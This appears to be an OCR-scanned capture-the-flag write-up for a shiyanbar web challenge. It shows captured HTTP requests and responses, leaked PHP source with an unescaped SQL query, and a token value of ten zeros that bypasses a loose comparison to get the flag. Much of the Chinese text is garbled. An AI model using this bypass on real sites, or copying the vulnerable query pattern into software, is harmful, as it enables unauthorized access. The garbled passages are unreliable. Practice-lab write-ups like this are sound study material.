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o HE¥E: hitp:/ctf5.shiyanbar.com/10/upload/step1.php
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Request

Raw Params Headers Hex

GET /10/upload/step1.php?emailAddress=1 HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html, i I i q=0.9,*/*;q=0.8

Accept-Language: zh

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/10/upload/step1.php?emailAddress=1
Connection: close

Upgrade-Insecure-Requests: 1

o AERRXMANE, NEAFKREHBIT, HEVHT,

Raw Headers Hex

GET /10/upload/step2.php HTTP/1.1

Host: ctf5.shiyanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,applicati +xml. 11;4=0.9,/*;9=0.8

Accept-Language: zh

Accept-Encoding: gzip, deflate

Referer: http://ctf5.shiyanbar.com/10/upload/step1.php?emailAddress=1

Connection: close

Upgrade-Insecure-Requests: 1
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https://blog.csdn.net/u014029795/article/details/100006582

Response
Raw Headers Hex HTML Render
~ HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 22 Aug 2019 01:39:09 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.5.38
Content-Length: 1033

<IDOCTYPE html>
<html>
<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1}/>
<meta name="renderer" content="webkit" />

<meta name="admin" content="admin@simplexue.com" />
<meta name="editor" cont "
<script>alert(" /RIS AT 51 fy
<title>logic</title>

<stvle tvpe="text/css">

A .Istep2.php?

....... )</*npt>

html headerfI 8 Z W] e 23R IE, SBid Tk, ZihAsetup2.

Raw Headers Hex HTML Render

~ HTTP/1.1 302 Moved Temporarily
Server: nginx/1.10.2

Date: Thu, 22 Aug 2019 01:41:25 GMT
Content-Type: text/html

Connection: close
D, fBi DUDIE E 20

Location: ./step2.php?email=test@test.com
Content-Length: 1044

<meta http-equiv=refresh content=0.5;URL="/step1.php">check error!</DOCTYPE html>

e

<head>

o HTEARZSH, Prilst B3R Esetupl T . HRIERIFTHTES —Mest@test.com, Ef LW EIF RIS, IR
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<f/head>
<body>
<form action="submit.php" method="GET">
<h1>4k Al % i step2</h1>
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email:<input name="emailAddress" type="text" value="" disable="true"/></br>
token:<input name="token" type="text" /></br>
<input type="submit" value="{ ">
<fform>
</body>
<f/html>

o XEAHEYF, EftsubmitphptiEZemailAddressS ifiitokenSH, #3215 lasubmit.php.

nuvy | ISaQusis 1ICA

~ HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Thu, 22 Aug 2019 01:47:24 GMT
Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.38
Content-Length: 20

you are not an admin

o RAAREHR, HAZAiMtest@testcomPT, XA T ZEihtml headerd ffjadmin@simplexue.com.

Raw Params Headers Hex Raw Headers Hex

GET /I Olupload/submit.php?emaiIAddre55=admin@simplexue.com| HTTP/M A ~ HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Thu, 22 Aug 2019 01:50:32 GMT
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close

Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38

Referer: http://ctf5.shiyanbar.com/10/upload/step1.php?emailAddress=1 Content-Length: 0

Connection: close

Upgrade-Insecure-Requests: 1

o ZRERTH, WHERBAtokent M, XEBMEMEIRK T M Mtoken, EARFEAMEARARIl - -

GETHM Olupload/submit.php?emaiIAddress=admin@simplexue.com&token=1|H'I'I'PI1 A ~ HTTP/1.1 200 OK

Host: ctf5.shiyanbar.com Server: nginx/1.10.2

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Date: Thu, 22 Aug 2019 01:51:33 GMT
Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Type: text/html
Accept-Language: zh Connection: close

Accept-Encoding: gzip, deflate X-Powered-By: PHP/5.5.38

Referer: http://ctf5.shiyanbar.com/10/upload/step1.php?emailAddress=1 Content-Length: 4

Connection: close

Upgrade-Insecure-Requests: 1 fail
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INSERT INTO “user’ ('id", "username’, "email’, 'token’) VALUES
(1, I****/l\‘ l[J‘ U[L***I, I**t/l\‘ l[J‘ U[L**tl, 0),
*/

......... 4T g A




if(lempty($token)&&!empty($emailAddress)){

if(strlen($token)!=10) die('fail');
if($tokenl="0") die('fail’);
$sql = "SELECT count(*) as num from ‘user’ where token="$token' AND email="$emailAddress";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r'num'];
if($r=0){

echo $flag;
lelse{

echo "M 1"

o ATHREINVEIET, token@ A0, {HZ TH A A KitokenkKFE—EE K10, THARETO, XHMAFET, BHtokensie
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keid, BFRAANIEEN /10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

~ HTTP/1.1 200 OK

Server: nginx/1.10.2

Date: Thu, 22 Aug 2019 02:09:15 GMT
Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.38
Content-Length: 30

flag is SimCTF{huachuan_TdsWX}
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